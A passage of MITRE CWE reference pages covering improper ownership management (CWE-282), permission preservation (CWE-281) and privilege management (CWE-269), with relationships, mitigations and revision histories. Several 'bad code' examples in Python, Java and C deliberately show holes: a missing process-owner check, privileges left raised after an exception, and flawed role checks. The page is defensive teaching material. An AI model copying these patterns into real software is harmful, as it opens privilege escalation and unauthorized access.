(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsLog Forging
Software Fault PatternsSFP23Exposed Data
The CERT Oracle Secure Coding Standard for Java (2011)IDS03-JExactDo not log unsanitized user input
SEI CERT Oracle Coding Standard for JavaIDS03-JExactDo not log unsanitized user input
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-52] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <http://www.exploitingsoftware.com/>.
[REF-53] Alec Muffet. "The night the log was forged". <http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm>.
[REF-43] OWASP. "OWASP TOP 10". 2007-05-18. <https://github.com/owasp-top/owasp-top-2007>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated References, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Description, Other_Notes, References
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Relationships
2010-06-21CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Log Forging
2009-05-27Incorrect Output Sanitization for Logs
2010-06-21Improper Output Sanitization for Logs

CWE-282: Improper Ownership Management

Weakness ID: 282
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.283Unverified Ownership
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.708Incorrect Ownership Assignment
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

This function is part of a privileged program that takes input from users with potentially lower privileges.

(bad code)
Example Language: Python 
def killProcess(processID):
os.kill(processID, signal.SIGKILL)

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

(good code)
Example Language: Python 
def killProcess(processID):
user = getCurrentUser()

#Check process owner against requesting user
if getProcessOwner(processID) == user:
os.kill(processID, signal.SIGKILL)
return

else:
print("You cannot kill a process you don't own")
return
+ Observed Examples
ReferenceDescription
Program runs setuid root but relies on a configuration file owned by a non-root user.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROwnership errors
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Modes_of_Introduction, Relationships
2019-09-19CWE Content TeamMITRE
updated Maintenance_Notes
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Ownership Issues

CWE-281: Improper Preservation of Permissions

Weakness ID: 281
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Observed Examples
ReferenceDescription
Incorrect ACLs used when restoring backups from directories that use symbolic links.
Automatic modification of permissions inherited from another file system.
Permissions on backup file are created with defaults, possibly less secure than original file.
File is made world-readable when being cloned.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
This is resultant from errors that prevent the permissions from being preserved.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPermission preservation failure
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Permission Preservation Failure

CWE-269: Improper Privilege Management

Weakness ID: 269
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.250Execution with Unnecessary Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.266Incorrect Privilege Assignment
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.267Privilege Defined With Unsafe Actions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.268Privilege Chaining
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.270Privilege Context Switching Error
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.271Privilege Dropping / Lowering Errors
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.274Improper Handling of Insufficient Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.648Incorrect Use of Privileged APIs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)
Example Language: Python 
def makeNewUserDir(username):
if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:
print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2

The following example demonstrates the weakness.

(bad code)
Example Language:
seteuid(0);
/* do some stuff */

seteuid(getuid());

Example 3

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// privileged code goes here, for example:
System.loadLibrary("awt");
return null;
// nothing to return
}

Example 4

This code intends to allow only Administrators to print debug information about a system.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,USER,GUEST
}

public void printDebugInfo(User requestingUser){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

default:
System.out.println(currentDebugState());
break;
}
}
else{
System.out.println("You must be logged in to perform this command");
}
}

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Example 5

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,OPERATOR,USER,GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

case USER:
System.out.println("You are not authorized to perform this command");
break;

default:
setPassword(user,password);
break;
}
}

else{
System.out.println("You must be logged in to perform this command");
}
}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

+ Observed Examples
ReferenceDescription
Terminal privileges are not reset when a user logs out.
Does not properly pass security context to child processes in certain cases, allows privilege escalation.
Does not properly compute roles.
untrusted user placed in unix "wheel" group
Product allows users to grant themselves certain rights that can be used to escalate privileges.
Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
Product mistakenly assigns a particular status to an entity, leading to increased privileges.
FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Installation script installs some programs as setuid when they shouldn't be.
Roles have access to dangerous procedures (Accessible entities).
Untrusted object/method gets access to clipboard (Accessible entities).
Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1365ICS Communications: Unreliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1373ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports [REF-1287]. It is not useful for trend analysis.

Comments:

If an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPrivilege Management Error
ISA/IEC 62443Part 2-4Req SP.03.08 BR
ISA/IEC 62443Part 3-2Req CR 3.1
ISA/IEC 62443Part 3-3Req SR 1.2
ISA/IEC 62443Part 3-3Req SR 2.1
ISA/IEC 62443Part 4-1Req SD-3
ISA/IEC 62443Part 4-1Req SD-4
ISA/IEC 62443Part 4-1Req SI-1
ISA/IEC 62443Part 4-2Req CR 1.1
ISA/IEC 62443Part 4-2Req CR 2.1
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479. 1st Edition. Addison Wesley. 2006.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-06-29
(CWE 4.12, 2023-06-29)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Team
Moved this entry higher up in the Research view.
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Name
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
